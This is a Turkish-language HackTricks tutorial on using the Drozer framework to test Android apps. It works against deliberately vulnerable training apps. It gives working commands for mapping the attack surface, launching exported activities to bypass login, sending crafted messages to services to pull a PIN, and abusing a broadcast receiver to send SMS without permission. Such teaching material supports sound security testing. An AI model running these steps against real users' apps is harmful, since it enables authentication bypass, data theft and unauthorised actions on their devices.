256 lines
12 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Drozer Tutorial
{{#include ../../../banners/hacktricks-training.md}}
## Test edilecek APK'lar
- [Sieve](https://github.com/mwrlabs/drozer/releases/download/2.3.4/sieve.apk) (mrwlabs'dan)
- [DIVA](https://payatu.com/wp-content/uploads/2016/01/diva-beta.tar.gz)
**Bu eğitimin bazı bölümleri** [**Drozer belgeleri pdf'inden**](https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf)** alınmıştır.**
## Kurulum
Drozer Client'ı ana bilgisayarınıza kurun. En son sürümü [buradan indirin](https://github.com/mwrlabs/drozer/releases).
```bash
pip install drozer-2.4.4-py2-none-any.whl
pip install twisted
pip install service_identity
```
drozer APK'sını [en son sürümlerden](https://github.com/mwrlabs/drozer/releases) indirin ve kurun. Şu anda bu [sürüm](https://github.com/mwrlabs/drozer/releases/download/2.3.4/drozer-agent-2.3.4.apk).
```bash
adb install drozer.apk
```
### Sunucuyu Başlatma
Agent 31415 portunda çalışıyor, Drozer Client ve Agent arasında iletişimi sağlamak için [port yönlendirmesi](https://en.wikipedia.org/wiki/Port_forwarding) yapmamız gerekiyor, işte bunu yapmak için komut:
```bash
adb forward tcp:31415 tcp:31415
```
Son olarak, **uygulamayı** başlatın ve alt kısımdaki "**AÇ**" butonuna basın.
![](<../../../images/image (459).png>)
Ve ona bağlanın:
```bash
drozer console connect
```
## İlginç Komutlar
| **Komutlar** | **Açıklama** |
| --------------- | --------------------------------------------------------------------------------------------------------------------------------------------------- |
| **Help MODULE** | Seçilen modülün yardımını gösterir |
| **list** | Mevcut oturumda çalıştırılabilen tüm drozer modüllerinin bir listesini gösterir. Bu, çalıştırmak için uygun izinlere sahip olmadığınız modülleri gizler. |
| **shell** | Cihazda, Agent bağlamında etkileşimli bir Linux kabuğu başlatır. |
| **clean** | Drozer tarafından Android cihazda saklanan geçici dosyaları kaldırır. |
| **load** | Drozer komutlarını içeren bir dosyayı yükler ve bunları sırayla yürütür. |
| **module** | İnternetten ek drozer modüllerini bulur ve yükler. |
| **unset** | Drozer'in oluşturduğu herhangi bir Linux kabuğuna geçirdiği adlandırılmış bir değişkeni kaldırır. |
| **set** | Drozer tarafından oluşturulan herhangi bir Linux kabuğuna çevresel değişken olarak geçirilecek bir değişkende bir değeri saklar. |
| **shell** | Cihazda, Agent bağlamında etkileşimli bir Linux kabuğu başlatır. |
| **run MODULE** | Bir drozer modülünü yürütür |
| **exploit** | Drozer, cihazda yürütmek için istismarlar oluşturabilir. `drozer exploit list` |
| **payload** | İstismarların bir yükü gereklidir. `drozer payload list` |
### Paket
**İsim** kısmını filtreleyerek paketin **adını** bulun:
```bash
dz> run app.package.list -f sieve
com.mwr.example.sieve
```
**Paketin Temel Bilgileri:**
```bash
dz> run app.package.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
Process Name: com.mwr.example.sieve
Version: 1.0
Data Directory: /data/data/com.mwr.example.sieve
APK Path: /data/app/com.mwr.example.sieve-2.apk
UID: 10056
GID: [1028, 1015, 3003]
Shared Libraries: null
Shared User ID: null
Uses Permissions:
- android.permission.READ_EXTERNAL_STORAGE
- android.permission.WRITE_EXTERNAL_STORAGE
- android.permission.INTERNET
Defines Permissions:
- com.mwr.example.sieve.READ_KEYS
- com.mwr.example.sieve.WRITE_KEYS
```
**Manifest**'i okuyun:
```bash
run app.package.manifest jakhar.aseem.diva
```
Paketin **saldırı yüzeyi**:
```bash
dz> run app.package.attacksurface com.mwr.example.sieve
Attack Surface:
3 activities exported
0 broadcast receivers exported
2 content providers exported
2 services exported
is debuggable
```
- **Etkinlikler**: Belki bir etkinlik başlatabilir ve sizi başlatmaktan alıkoyması gereken bir tür yetkilendirmeyi atlayabilirsiniz.
- **İçerik sağlayıcıları**: Belki özel verilere erişebilir veya bazı güvenlik açıklarını (SQL Injection veya Path Traversal) istismar edebilirsiniz.
- **Hizmetler**:
- **debuggable**: [Daha fazla bilgi edinin](#is-debuggeable)
### Etkinlikler
Bir dışa aktarılmış etkinlik bileşeninin “android:exported” değeri AndroidManifest.xml dosyasında **“true”** olarak ayarlanmıştır:
```html
<activity android:name="com.my.app.Initial" android:exported="true">
</activity>
```
**Dışa aktarılan aktiviteleri listele**:
```bash
dz> run app.activity.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
com.mwr.example.sieve.FileSelectActivity
com.mwr.example.sieve.MainLoginActivity
com.mwr.example.sieve.PWList
```
**Etkinliği başlat**:
Belki bir etkinliği başlatabilir ve sizi başlatmaktan alıkoyması gereken bir tür yetkilendirmeyi atlayabilirsiniz.
```bash
dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList
```
**adb** ile dışa aktarılmış bir etkinliği de başlatabilirsiniz:
- Paket Adı com.example.demo
- Dışa Aktarılan Etkinlik Adı com.example.test.MainActivity
```bash
adb shell am start -n com.example.demo/com.example.test.MainActivity
```
### İçerik Sağlayıcıları
Bu gönderi burada yer alacak kadar büyük değil, bu yüzden **ulaşabilirsiniz** [**kendi sayfasında buradan**](exploiting-content-providers.md).
### Hizmetler
Dışa aktarılan bir hizmet, Manifest.xml içinde tanımlanır:
```html
<service android:name=".AuthService" android:exported="true" android:process=":remote"/>
```
Kodun içinde **check** için **`handleMessage`** fonksiyonunu **alacak** olan **message**'ı kontrol edin:
![](<../../../images/image (82).png>)
#### Liste hizmeti
```bash
dz> run app.service.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
com.mwr.example.sieve.AuthService
Permission: null
com.mwr.example.sieve.CryptoService
Permission: null
```
#### **Bir hizmetle** etkileşimde bulunun
```bash
app.service.send Send a Message to a service, and display the reply
app.service.start Start Service
app.service.stop Stop Service
```
#### Örnek
`app.service.send` için **drozer** yardımına bir göz atın:
![](<../../../images/image (1079).png>)
Öncelikle "_msg.what_" içindeki veriyi, ardından "_msg.arg1_" ve "_msg.arg2_"'yi göndereceğinizi unutmayın, **hangi bilginin kullanıldığını** ve nerede olduğunu kod içinde kontrol etmelisiniz.\
`--extra` seçeneğini kullanarak "_msg.replyTo_" tarafından yorumlanan bir şey gönderebilirsiniz ve `--bundle-as-obj` kullanarak sağlanan detaylarla bir nesne oluşturursunuz.
Aşağıdaki örnekte:
- `what == 2354`
- `arg1 == 9234`
- `arg2 == 1`
- `replyTo == object(string com.mwr.example.sieve.PIN 1337)`
```bash
run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --msg 2354 9234 1 --extra string com.mwr.example.sieve.PIN 1337 --bundle-as-obj
```
![](<../../../images/image (647).png>)
### Broadcast Alıcıları
**Android temel bilgi bölümünde Broadcast Alıcısının ne olduğunu görebilirsiniz**.
Bu Broadcast Alıcılarını keşfettikten sonra, **kodlarını kontrol etmelisiniz**. Alınan mesajları işleyen **`onReceive`** fonksiyonuna özel dikkat gösterin.
#### **Tüm** broadcast alıcılarını tespit et
```bash
run app.broadcast.info #Detects all
```
#### Bir uygulamanın yayın alıcılarını kontrol et
```bash
#Check one negative
run app.broadcast.info -a jakhar.aseem.diva
Package: jakhar.aseem.diva
No matching receivers.
# Check one positive
run app.broadcast.info -a com.google.android.youtube
Package: com.google.android.youtube
com.google.android.libraries.youtube.player.PlayerUiModule$LegacyMediaButtonIntentReceiver
Permission: null
com.google.android.apps.youtube.app.common.notification.GcmBroadcastReceiver
Permission: com.google.android.c2dm.permission.SEND
com.google.android.apps.youtube.app.PackageReplacedReceiver
Permission: null
com.google.android.libraries.youtube.account.AccountsChangedReceiver
Permission: null
com.google.android.apps.youtube.app.application.system.LocaleUpdatedReceiver
Permission: null
```
#### Yayın **Etkileşimleri**
```bash
app.broadcast.info Get information about broadcast receivers
app.broadcast.send Send broadcast using an intent
app.broadcast.sniff Register a broadcast receiver that can sniff particular intents
```
#### Mesaj Gönder
Bu örnekte [FourGoats apk](https://github.com/linkedin/qark/blob/master/tests/goatdroid.apk) İçerik Sağlayıcısını kötüye kullanarak, kullanıcıdan izin istemeden **herhangi bir premium olmayan hedefe rastgele bir SMS** gönderebilirsiniz.
![](<../../../images/image (415).png>)
![](<../../../images/image (573).png>)
Kodu okursanız, "_phoneNumber_" ve "_message_" parametrelerinin İçerik Sağlayıcısına gönderilmesi gerektiğini göreceksiniz.
```bash
run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --component org.owasp.goatdroid.fourgoats.broadcastreceivers SendSMSNowReceiver --extra string phoneNumber 123456789 --extra string message "Hello mate!"
```
### Debuggable mı
Bir üretim APK'sı asla debuggable olmamalıdır.\
Bu, çalışmakta olan uygulamaya **java debugger** ekleyebileceğiniz, çalışma zamanında inceleyebileceğiniz, kesme noktaları ayarlayabileceğiniz, adım adım ilerleyebileceğiniz, değişken değerlerini toplayabileceğiniz ve hatta bunları değiştirebileceğiniz anlamına gelir. [InfoSec institute'un harika bir makalesi](../exploiting-a-debuggeable-applciation.md) var, uygulamanız debuggable olduğunda daha derinlemesine incelemek ve çalışma zamanı kodu enjekte etmek için.
Bir uygulama debuggable olduğunda, Manifest'te görünecektir:
```xml
<application theme="@2131296387" debuggable="true"
```
Tüm hata ayıklanabilir uygulamaları **Drozer** ile bulabilirsiniz:
```bash
run app.package.debuggable
```
## Eğitimler
- [https://resources.infosecinstitute.com/android-penetration-tools-walkthrough-series-drozer/#gref](https://resources.infosecinstitute.com/android-penetration-tools-walkthrough-series-drozer/#gref)
- [https://github.com/mgcfish/mobiletools/blob/master/\_posts/2016-08-01-Using-Drozer-for-application-security-assessments.md](https://github.com/mgcfish/mobiletools/blob/master/_posts/2016-08-01-Using-Drozer-for-application-security-assessments.md)
- [https://www.hackingarticles.in/android-penetration-testing-drozer/](https://www.hackingarticles.in/android-penetration-testing-drozer/)
- [https://medium.com/@ashrafrizvi3006/how-to-test-android-application-security-using-drozer-edc002c5dcac](https://medium.com/@ashrafrizvi3006/how-to-test-android-application-security-using-drozer-edc002c5dcac)
## Daha fazla bilgi
- [https://blog.dixitaditya.com/android-pentesting-cheatsheet/](https://blog.dixitaditya.com/android-pentesting-cheatsheet/)
{{#include ../../../banners/hacktricks-training.md}}